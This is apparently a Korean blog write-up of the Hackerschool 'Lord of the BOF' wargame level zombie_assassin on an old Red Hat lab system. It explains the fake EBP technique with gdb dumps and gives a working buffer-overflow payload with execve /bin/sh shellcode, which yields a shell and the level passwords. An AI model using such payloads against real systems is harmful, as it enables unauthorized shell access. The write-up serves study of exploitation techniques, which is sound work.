[lob] 해커스쿨 assassin -> zombie_assassin 풀이

l 해커스쿨 assassin 풀이

실행 환경 : VMware Workstation Pro, Red Hat Linux 6.2

 

** 공부를 하면서 기록하는 내용이다 보니 틀린 내용이 있을 수도 있습니다. 틀린 부분이 있다면 댓글로 알려주시면 감사드리겠습니다. **


 

 

 

 

assassin 문제의 아이디인   assassin 와 password인    pushing me away  을 입력하여 assassin의 유저로 접속합니다.

 

 

 

[assassin@localhost assassin]$ cat zombie_assassin.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - zombie_assassin
        - FEBP
*/

#include  <stdio.h>
#include  <stdlib.h>

main(int argc, char *argv[])
{
        char buffer[40];

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        if(argv[1][47] == '\xbf')
        {
                printf("stack retbayed you!\n");
                exit(0);
        }

        if(argv[1][47] == '\x40')
        {
                printf("library retbayed you, too!!\n");
                exit(0);
        }

        // strncpy instead of strcpy!
        strncpy(buffer, argv[1], 48);
        printf("%s\n", buffer);
}

 

 

 

힌트 코드를 분석해보겠습니다.

1. argc는 2 이상이어야 합니다.

2. argv[1]의 48번째는 \xbf와 \x40 둘 다 들어갈 수 없기 때문에 스택과 공유 라이브러리를 사용할 수 없습니다.

3. argv[1]의 48바이트가 buffer에 복사됩니다.

 

 

이번 문제는 힌트 코드에서도 볼 수 있듯이 FEBP 기법을 사용하는 문제입니다.

 

zombie_assassin 파일을 복사하여 assassin 파일을 하나 생성하여 gdb로 확인 결과 buffer가 ebp - 40부터 시작되는 것을 알 수 있습니다.

 

 

FEBP 기법 순서를 알아보도록 하겠습니다. 

1. ebp를 내가 원하는 곳으로 이동시키기 위해 sfp에 fake ebp 주소를 넣습니다. leave 과정에서 mov ebp, esp에 의해 esp는 ebp와 같은 곳에 있게 됩니다.

2. pop ebp에 의해 ebp는 fake ebp로 이동합니다.

3. pop ebp가 되면서 esp는 return의 위치에 오게 됩니다.

4. 제일 중요한 부분입니다. return에 leave 주소를 넣어 leave가 한 번 더 진행될 수 있도록 해줍니다. leave가 한 번 더 진행됨에 따라 mov ebp, esp에 의해 esp는 fake ebp로 이동하게 됩니다.

5. 다시 한 번 pop ebp가 진행되면서 esp는 return으로 이동하게 됩니다. return에 ShellCode의 주소를 넣어주면 ret가 진행되면서 셸 코드를 실행할 수 있게 됩니다.

 

페이로드를 구성하기 위해 leave 주소, fake ebp 주소, Shell Code 위치의 주소 세 개가 필요합니다. 먼저 leave 주소부터 알아보겠습니다.

 

 

[assassin@localhost assassin]$ gdb assassin
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) disas main
Dump of assembler code for function main:
...
0x80484df <main+159>:   leave
...

 

 

 

gdb를 통해 확인한 결과 leave의 주소는 0x80484df 입니다. 이 주소가 main의 return에 들어갈 주소입니다. fake ebp 주소와 셸 코드의 주소를 결정하기 위해 아래와 같이 gdb를 실행해보겠습니다.

 

 

 

(gdb) b *main+139
Breakpoint 1 at 0x80484cb
(gdb) r `python -c 'print "A"*40+"BBBB"+"CCCC"+"D"*300'`
Starting program: /home/assassin/assassin `python -c 'print "A"*40+"BBBB"+"CCCC"+"D"*300'`

Breakpoint 1, 0x80484cb in main ()
(gdb) Quit
(gdb) x/100x $esp
...
0xbffffa84:     0x41006e69      0x41414141      0x41414141      0x41414141
0xbffffa94:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffaa4:     0x41414141      0x41414141      0x42414141      0x43424242
0xbffffab4:     0x44434343      0x44444444      0x44444444      0x44444444
0xbffffac4:     0x44444444      0x44444444      0x44444444      0x44444444
0xbffffad4:     0x44444444      0x44444444      0x44444444      0x44444444
0xbffffae4:     0x44444444      0x44444444      0x44444444      0x44444444
0xbffffaf4:     0x44444444      0x44444444      0x44444444       0x44444444
0xbffffb04:     0x44444444      0x44444444      0x44444444      0x44444444
0xbffffb14:     0x44444444      0x44444444      0x44444444      0x44444444
0xbffffb24:     0x44444444      0x44444444      0x44444444      0x44444444
0xbffffb34:     0x44444444      0x44444444      0x44444444      0x44444444
...

 

 

 

A 40개는 buffer, B 4개는 sfp, C 4개는 return D 300개는 셸 코드가 들어갈 위치입니다. D의 시작 주소는 0xbffffab4이고 fake ebp를 이 주소로 하겠습니다. 위의 FEBP 기법 설명에 따라 0xbffffab4 위치에서 pop ebp가 되며 esp가 +4byte 올라가고, +4byte 된 주소에 셸 코드 위치 주소를 넣어주면 ret이 진행되며 셸 코드 실행이 가능할 것입니다.

 

셸 코드 주소의 앞부분은 \x90으로 채워질 것이기 때문에 대충 0xbffffac4로 정하겠습니다. 그럼 페이로드를 구성해보겠습니다.

 

| 페이로드

./assassin `python -c 'print "A"*40+"\xb4\xfa\xff\xbf"+"\xdf\x84\x04\x08"+"AAAA"+"\xc4\xfa\xff\xbf"+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

 

 

 

[assassin@localhost assassin]$ ./assassin `python -c 'print "A"*40+"\xb4\xfa\xff\xbf"+"\xdf\x84\x04\x08"+"\x90\x90\x90\x90"+"\xc4\xfa\xff\xbf"+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA´úÿ¿ß„
Illegal instruction (core dumped)

[assassin@localhost assassin]$ gdb -c core
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux".
Core was generated by `./assassin AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA¸úÿ¿ßAAAAÄúÿ¿'.
Program terminated with signal 11, Segmentation fault.
#0  0x0 in ?? ()
(gdb) x/100x $esp

...
0xbffffb20:     0x2e003638      0x7373612f      0x69737361      0x4141006e
0xbffffb30:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffb40:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffb50:     0x41414141      0xfab84141      0x84dfbfff      0x41410804
0xbffffb60:     0xfac44141      0x9090bfff      0x90909090      0x90909090
0xbffffb70:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffb80:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffb90:     0x90909090      0x90909090      0x90909090      0x90909090
...

 

 

 

위의 페이로드로 assassin 파일을 실행시켜보니 core dumped가 떴습니다. core 파일을 통해 fake ebp의 주소를 \xbffffb5e로 셸 코드의 위치를 \xbffffb70로 하겠습니다.

 

위의 페이로드에서 fake ebp와 셸 코드 위치의 주소를 바꿔 다시 실행시켜보겠습니다.

 

 

 

[assassin@localhost assassin]$ ./assassin `python -c 'print "A"*40+"\x5e\xfb\xff\xbf"+"\xdf\x84\x04\x08"+"AAAA"+"\x70\xfb\xff\xbf"+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA^ûÿ¿ß„
bash$ exit

[assassin@localhost assassin]$ rm assassin
[assassin@localhost assassin]$ ln -s zombie_assassin assassin
[assassin@localhost assassin]$ ./assassin `python -c 'print "A"*40+"\x5e\xfb\xff\xbf"+"\xdf\x84\x04\x08"+"AAAA"+"\x70\xfb\xff\xbf"+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA^ûÿ¿ß„
bash$ whoami
zombie_assassin
bash$ id
uid=515(assassin) gid=515(assassin) euid=516(zombie_assassin) egid=516(zombie_assassin) groups=515(assassin)
bash$ my-pass
euid = 516
no place to hide

 

 

 

assassin 파일을 실행시켜보니 셸 취득이 되었습니다. assassin 파일을 삭제하고 심볼릭 링크를 이용해 다시 assassin이라는 파일을 생성해주었습니다. 다시 페이로드를 실행시켜보면 zombie_assassin user의 password를 찾을 수 있습니다.

 

 

 

l zombie_assassin 비밀번호

더보기

euid = 516 
no place to hide

 

이 글을 공유하기

댓글

Designed by JB FACTORY